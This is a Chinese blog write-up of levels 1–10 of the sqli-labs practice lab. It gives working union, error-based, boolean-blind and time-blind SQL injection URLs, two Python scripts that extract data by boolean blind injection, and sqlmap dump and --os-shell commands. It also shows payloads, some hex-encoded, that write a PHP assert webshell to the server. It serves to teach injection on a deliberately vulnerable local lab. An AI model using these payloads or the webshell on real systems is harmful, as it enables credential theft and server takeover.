sqli-labs通关(less1~less10)

2023-11-13

目录

题外话

Less-1

Less-2

Less-3

 Less-4

Less-5

Less-6

Less-7

Less-8

Less-9

Less-10


这10关都是GET型的,包括了union注入、报错注入、布尔盲注和时间盲注,虽然包含了几种闭合方式,但是没有涉及到过滤和绕过,是最基础的关卡。

题外话

1、我刚发现,原来每关源代码同目录的result.txt中都会记录每次输入的payload

2、闯关的时候发现一个神奇的情况,如果字段本身是int类型,并且在查询语句中该字段的值被双引号或者单引号包裹,则只要值是以正确数字开头的,后面接多余的字符还是可以返回正确的查询结果,甚至单引号中可以包含双引号,双引号中可以包含单引号。如下图所示:

Less-1

首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-1/?id=1

能够知道本关的查询结果是会回显的

然后输入http://192.168.101.16/sqli-labs-master/Less-1/?id=1'

可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道需要闭合什么符号,比如这关是闭合单引号

这关使用union注入,后续爆库和写webshell的payload如下:

#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-1/?id=1' order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-1/?id=1' order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,3-- s
#确定当前数据库
http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()-- s
#爆出当前数据库内的所有表名
http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- s
#爆出当前数据库user表的所有列名
http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- s
#爆出当前数据库user表所有username和password
http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users-- s
#下面这步写webshell
http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,'<?php assert($_POST[less1]);?>' into outfile 'C:/less1.php'-- s

爆库结果:

 写入服务器的webshell:

 这关代码如下,没有对id进行过滤,29行可以看出闭合是单引号,36和38行看出查询结果有回显,另外44行是用于在sql语句有语法问题的时候返回错误的。

Less-2

首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-2/?id=1

能够知道本关的查询结果是会回显的

 然后输入http://192.168.101.16/sqli-labs-master/Less-2/?id=1'

可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道需要闭合什么符号,比如这关不用闭合

这关使用union注入,后续爆库和写webshell的payload如下:

#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-2/?id=1 order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-2/?id=1 order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,3-- s
#确定当前数据库
http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,database()-- s
#爆出当前数据库内的所有表名
http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- s
#爆出当前数据库user表的所有列名
http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- s
#爆出当前数据库user表所有username和password
http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users-- s
#下面这步写webshell
http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,'<?php assert($_POST[less2]);?>' into outfile 'C:/less2.php'-- s

 爆库结果:

 写入服务器的webshell:

 本关代码如下,可以看出除了32行的sql语句中$id没有用引号闭合之外,其他和Less-1都是相同的。

 

Less-3

首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-3/?id=1

能够知道本关的查询结果是会回显的

 然后输入http://192.168.101.16/sqli-labs-master/Less-3/?id=1'

可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道需要闭合什么符号,比如这关闭合是')

 这关使用union注入,后续爆库和写webshell的payload如下:

#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-3/?id=:1') order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-3/?id=:1') order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,3-- s
#确定当前数据库
http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,database()-- s
#爆出当前数据库内的所有表名
http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- s
#爆出当前数据库user表的所有列名
http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- s
#爆出当前数据库user表所有username和password
http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,group_concat(username),group_concat(password) from users-- s
#下面这步写webshell
http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,'<?php assert($_POST[less3]);?>' into outfile 'C:/less3.php'-- s

 爆库结果:

 写入服务器的webshell:

 

  本关代码如下,可以看出除了31行的sql语句中的闭合之外,其他和Less-1都是相同的。

 Less-4

首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-4/?id=1

能够知道本关的查询结果是会回显的

  然后输入http://192.168.101.16/sqli-labs-master/Less-4/?id=1"

可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道需要闭合什么符号,比如这关闭合是")

(注意这关输入id=1'是不会报错的,原因就是题外话的第2条)

  这关使用union注入,后续爆库和写webshell的payload如下:

#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-4/?id=1") order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-4/?id=1") order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,3-- s
#确定当前数据库
http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,database()-- s
#爆出当前数据库内的所有表名
http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- s
#爆出当前数据库user表的所有列名
http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- s
#爆出当前数据库user表所有username和password
http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users-- s
#下面这步写webshell
http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,'<?php assert($_POST[less4]);?>' into outfile 'C:/less4.php'-- s

 爆库结果:

 写入服务器的webshell:

 

  本关代码如下,从28,29行可以看出,本关除了sql语句中的闭合之外,其他和Less-1都是相同的。

Less-5

首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-5/?id=1

能够知道本关的查询结果不回显

 然后输入http://192.168.101.16/sqli-labs-master/Less-5/?id=1'

 发现语法报错还是存在的,并且从报错可以判断出本关的闭合是单引号

   这关使用报错注入,后续爆库和写webshell的payload如下:

#获取当前数据库名称
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s
#获取当前数据库所有表名称
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s
#获取当前数据库user表所有列名称
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s
#获取当前数据库user表所有username和password的值
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s
#下面这步写webshell
http://192.168.101.16/sqli-labs-master/Less-5/?id=1' into outfile 'C:/less5.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373355d293b3f3e-- s

爆库结果分好几段,这边就展示第一段

  写入服务器的webshell:

下面是本关代码,和Less-1的显著不同是33-39行,查询结果不回显

Less-6

首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-6/?id=1

能够知道本关的查询结果不回显

再输入:http://192.168.101.16/sqli-labs-master/Less-6/?id=1"

发现语法报错还是存在的,并且从报错可以判断出本关的闭合是双引号

 这关使用报错注入,后续爆库和写webshell的payload如下:

#获取当前数据库名称
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s
#获取当前数据库所有表名称
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s
#获取当前数据库user表所有列名称
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s
#获取当前数据库user表所有username和password的值
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s
#下面这步写webshell
http://192.168.101.16/sqli-labs-master/Less-6/?id=1" into outfile 'C:/less6.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373365d293b3f3e-- s

爆库结果分好几段,这边就展示第一段

写入服务器的webshell

 下面是本关代码,和Less-5的区别仅在于sql语句的参数值闭合符号不同(28,29行)

Less-7

首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-7/?id=1

能够知道本关的查询结果不回显

 再输入:http://192.168.101.16/sqli-labs-master/Less-7/?id=1'

发现本关不会显示具体的sql语法问题

再输入:http://192.168.101.16/sqli-labs-master/Less-7/?id=-1

发现页面回显和上图是一样的。所以本关sql语句有语法错误或者参数值在表中查询不到返回的页面是相同的,并且与参数值正确且无语法错误时不同。这关可以用bool盲注。

如果手工注入的话,闭合可以用burpsuite爆破,这里就不写了。找到闭合之后,就可以开始爆库和写webshell了。

关于爆库,这关我改了一下之前写的脚本(JacquelinXiang/sqli_bool: A simple tool/framework for boolean-based sql injection(GET/POST/COOKIE) (github.com)),修改后的代码如下:

#!/usr/bin/python3
# coding=utf-8

"""
:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""

import requests

url = "http://192.168.101.16/sqli-labs-master/Less-7/"               #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",}    #http request报文头部,根据实际情况填写
 
keylist = [chr(i) for i in range(33, 127)]                                     #包括数字、大小写字母、可见特殊字符
flag = 'You are in'                                        #用于判断附加sql语句为真的字符,根据网页回显填写

def CurrentDatabase7():
    n = 10                                                                      #预测当前数据库名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2 
    length = 0
    db = str()
    while True:
        if j>k and j<n and j-k>3:
            payload1 = "1')) and length(database())>"+str(j)+"-- ss"           #所有payload根据实际情况填写
            param = {
            "id":payload1,
            }
            response = requests.get(url, params = param, headers = headers)     #GET方法发送含payload的request
            #print(response.request.headers)
            #print(response.text)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload2 = "1')) and length(database())="+str(i)+"-- ss"
                param = {
                "id":payload2,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload3 = "1')) and substring(database(),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload3,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                db = db+c
                break
    print("the name of current database is "+str(db))
    
def Tables7():
    n = 100                                                                     #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    tname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload4 = "1')) and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss"
            param = {
            "id":payload4,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload5 = "1')) and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))="+str(i)+"-- ss"
                param = {
                "id":payload5,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all tables in current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload6 = "1')) and substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload6,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                tname = tname+c
                break
    print("the name of all tables in current database is "+str(tname))


def Columns7(table):                                                          #table参数是需要爆破的数据表名称,记得加单引号
    n = 200                                                                     #预测某个表所有列名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    cname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload7 = "1')) and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))>"+str(j)+"-- ss"
            param = {
            "id":payload7,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload8 = "1')) and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))="+str(i)+"-- ss"
                param = {
                "id":payload8,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all columns in current table contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload9 = "1')) and substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload9,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                cname = cname+c
                break
    print("the name of all columns in current table is "+str(cname))

def Content7(table,col1,col2):                                                #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
    n = 200                                                                     #预测期望获取的数据的最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    content = str()
    while True:
        if j>k and j<n and j-k>3:
            payload10 = "1')) and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))>"+str(j)+"-- ss"
            param = {
            "id":payload10,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload11 = "1')) and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))="+str(i)+"-- ss"
                param = {
                "id":payload11,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the content contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload12 = "1')) and substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+"),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload12,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                content = content+c
                break
    print("the content is "+str(content))

 测试结果如下:

 写入webshell使用如下payload:

http://192.168.101.16/sqli-labs-master/Less-7/?id=1')) into outfile 'C:/less7.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373375d293b3f3e-- s

0x后面是<?php assert($_POST[less7]);?>的十六进制编码。服务器上写入的webshell如下:

 本关代码如下,从45,46行可见,当查询不到正确结果的时候,输出提示You have an error in your SQL syntax,而不返回报错。

Less-8

首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-8/?id=1

能够知道本关的查询结果不回显

 再输入:http://192.168.101.16/sqli-labs-master/Less-8/?id=1'

发现除了固定页面显示之外,没有任何回显

 再输入:http://192.168.101.16/sqli-labs-master/Less-8/?id=-1

效果和上图一样。这关可以用bool盲注。

同样,这关我们手工注入找闭合可以用burpsuite爆破。

 接下来的爆库,我在上一关代码的基础上做了修改,修改后的代码如下:

#!/usr/bin/python3
# coding=utf-8

"""
functions for boolean-based sql injection(GET)

:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""

import requests

url = "http://192.168.101.16/sqli-labs-master/Less-8/"               #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",}    #http request报文头部,根据实际情况填写
 
keylist = [chr(i) for i in range(33, 127)]                                     #包括数字、大小写字母、可见特殊字符
flag = 'You are in'                                        #用于判断附加sql语句为真的字符,根据网页回显填写

def CurrentDatabaseGET():
    n = 10                                                                      #预测当前数据库名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2 
    length = 0
    db = str()
    while True:
        if j>k and j<n and j-k>3:
            payload1 = "1' and length(database())>"+str(j)+"-- ss"           #所有payload根据实际情况填写
            param = {
            "id":payload1,
            }
            response = requests.get(url, params = param, headers = headers)     #GET方法发送含payload的request
            #print(response.request.headers)
            #print(response.text)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload2 = "1' and length(database())="+str(i)+"-- ss"
                param = {
                "id":payload2,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload3 = "1' and substring(database(),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload3,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                db = db+c
                break
    print("the name of current database is "+str(db))
    
def TablesGET():
    n = 100                                                                     #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    tname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload4 = "1' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss"
            param = {
            "id":payload4,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload5 = "1' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))="+str(i)+"-- ss"
                param = {
                "id":payload5,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all tables in current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload6 = "1' and substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload6,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                tname = tname+c
                break
    print("the name of all tables in current database is "+str(tname))


def ColumnsGET(table):                                                          #table参数是需要爆破的数据表名称,记得加单引号
    n = 200                                                                     #预测某个表所有列名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    cname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload7 = "1' and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))>"+str(j)+"-- ss"
            param = {
            "id":payload7,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload8 = "1' and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))="+str(i)+"-- ss"
                param = {
                "id":payload8,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all columns in current table contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload9 = "1' and substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload9,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                cname = cname+c
                break
    print("the name of all columns in current table is "+str(cname))

def ContentGET(table,col1,col2):                                                #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
    n = 200                                                                     #预测期望获取的数据的最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    content = str()
    while True:
        if j>k and j<n and j-k>3:
            payload10 = "1' and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))>"+str(j)+"-- ss"
            param = {
            "id":payload10,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload11 = "1' and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))="+str(i)+"-- ss"
                param = {
                "id":payload11,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the content contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload12 = "1' and substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+"),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload12,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                content = content+c
                break
    print("the content is "+str(content))

 爆库结果:

 接下来写webshell:

http://192.168.101.16/sqli-labs-master/Less-8/?id=1' into outfile 'C:/less8.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373385d293b3f3e-- s

服务器中写入的webshell如下:

本关代码如下,代码上看和上一关的主要区别在于数据库未查询到正确结果时,本关什么都不回显,注入逻辑上看其实没啥区别

Less-9

本关不管id的值是数据库中存在的(id=1)还是不存在的(id=-1),页面回显都是一样的:

输入http://192.168.101.16/sqli-labs-master/Less-9/?id=1' and if(1=1,sleep(2),0)-- s

页面会过2s再刷新成功

输入http://192.168.101.16/sqli-labs-master/Less-9/?id=1' and if(1=2,sleep(2),0)-- s

页面立刻刷新成功

本关可以用基于时间的盲注

这关用sqlmap来试试,启动sqlmap并输入如下语句

#获取所有数据库名称
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --dbs
#获取当前数据库
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --current-db
#获取数据库security所有表名称
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --tables -D security
#获取数据库security的users表的所有列名
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --columns -D security -T users
#获取数据库security的users表的username和password列的值
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --dump -D security -T users -C username,password
#写马
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --os-shell 

爆库结果:

写马的时候,发生了一件令我疑惑的事情,目录C:\phpstudy_pro\WWW下命令行shell和上传文件的shell都可以写成功,但目录C:\less9下只能写入上传文件的shell,并且sqlmap的返回结果说写shell失败。具体原因目前还不清楚。

然后又发现一件搞笑的事情,我仔细一看,sqlmap不但识别出本关可以使用时间盲注,还识别出本关可以使用布尔盲注。并且看了本关文件夹下的result.txt之后发现,sqlmap最终选的注入方法是布尔盲注(好机智,毕竟时间盲注慢)。

看了本关代码之后发现,原来查询到结果和查询不到结果的返回页面有html代码上的区别……

启示:以后遇到参数值输入正确和错误页面回显一样的情况,还得看看网页源代码

备注:本关也可以手工注入写马:

http://192.168.101.16/sqli-labs-master/Less-9/?id=1' into outfile 'C:/less9.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C657373395D293B3F3E-- s

 写入服务器的webshell:

Less-10

本关不管id的值是数据库中存在的(id=1)还是不存在的(id=-1),页面回显都是一样的:

查看网页源代码,下图是id=1的时候

 下图是id=-1的时候

差异还是挺明显的,所以这关也是可以进行布尔盲注的,可是标题说了time based所以……到底要不要给面子呢?

还是给点面子吧^^

这题如果用手工注入,可以试试改一改JacquelinXiang/sqli_blind: A simple tool/framework for boolean-based or time-based sql injection(blind) (github.com)sqli_tb.py

我这里又偷懒了,用sqlmap来注入,payload和上一关差不多,但是要多加点参数(--technique T --level 3),具体如下:

#获取当前数据库
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --current-db --technique T --level 3
#获取数据库security所有表名称
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --tables -D security --technique T --level 3
#获取数据库security的users表的所有列名
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --columns -D security -T users --technique T --level 3
#获取数据库security的users表的username和password列的值
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --dump -D security -T users -C username,password --technique T --level 3

时间盲注真的很慢!!!能用别的就别用这个!!

手工注入一下webshell:

先看看sqlmap注入用的payload,可见闭合是双引号

 所以可以用下面的payload来写webshell:

http://192.168.101.16/sqli-labs-master/Less-10/?id=1" into outfile 'C:/less10.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737331305D293B3F3E-- s

写入服务器的webshell:

本关代码和Less-9除了闭合不同也没啥不一样了……

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqli-labs通关(less1~less10) 的相关文章

随机推荐

  • Pytorch实现CNN_含验证集

    一 CNN的结构 输入层 gt 卷积层 N gt 池化层 M gt 全连接层 二 卷积 池化和训练 卷积运算过程 以为5 5的image和 3 3的filter stride 1 Relu为激活函数 为例 feature map中第一个元素
  • 文件服务器 权限管理 windows server 2008,《Windows Server 2008服务器管理与配置》怎么样_目录_pdf在线阅读 - 课课家教育...

    项目1 Vmware workstation软件的使用 1任务1 创建一台虚拟机 2一 几个重要概念 2二 虚拟机软件介绍 3三 虚拟机的网络模式 3任务2 vmware workstation软件的基本操作 8习题1 13项目实践1 13
  • 面向对象程序设计概念

    一 程序设计范型 面向对象程序设计 object oriented programming OOP 是一种新的程序设计的范型 程序设计范型是设计程序的规范 模型和风格 它是一类程序设计语言的基础 面向对象设计范型的主要特征是 程序 对象 消
  • 常用的激活函数代码实现

    本文主要是常用的激活函数的实现 侧重于工程方面 没有过多的理论介绍 想要了解理论的可以参考 常用激活函数 激励函数 理解与总结 神经网络激活函数汇总 Sigmoid tanh ReLU LeakyReLU pReLU ELU maxout
  • 使用 flatMap 进行扁平化映像处理数据

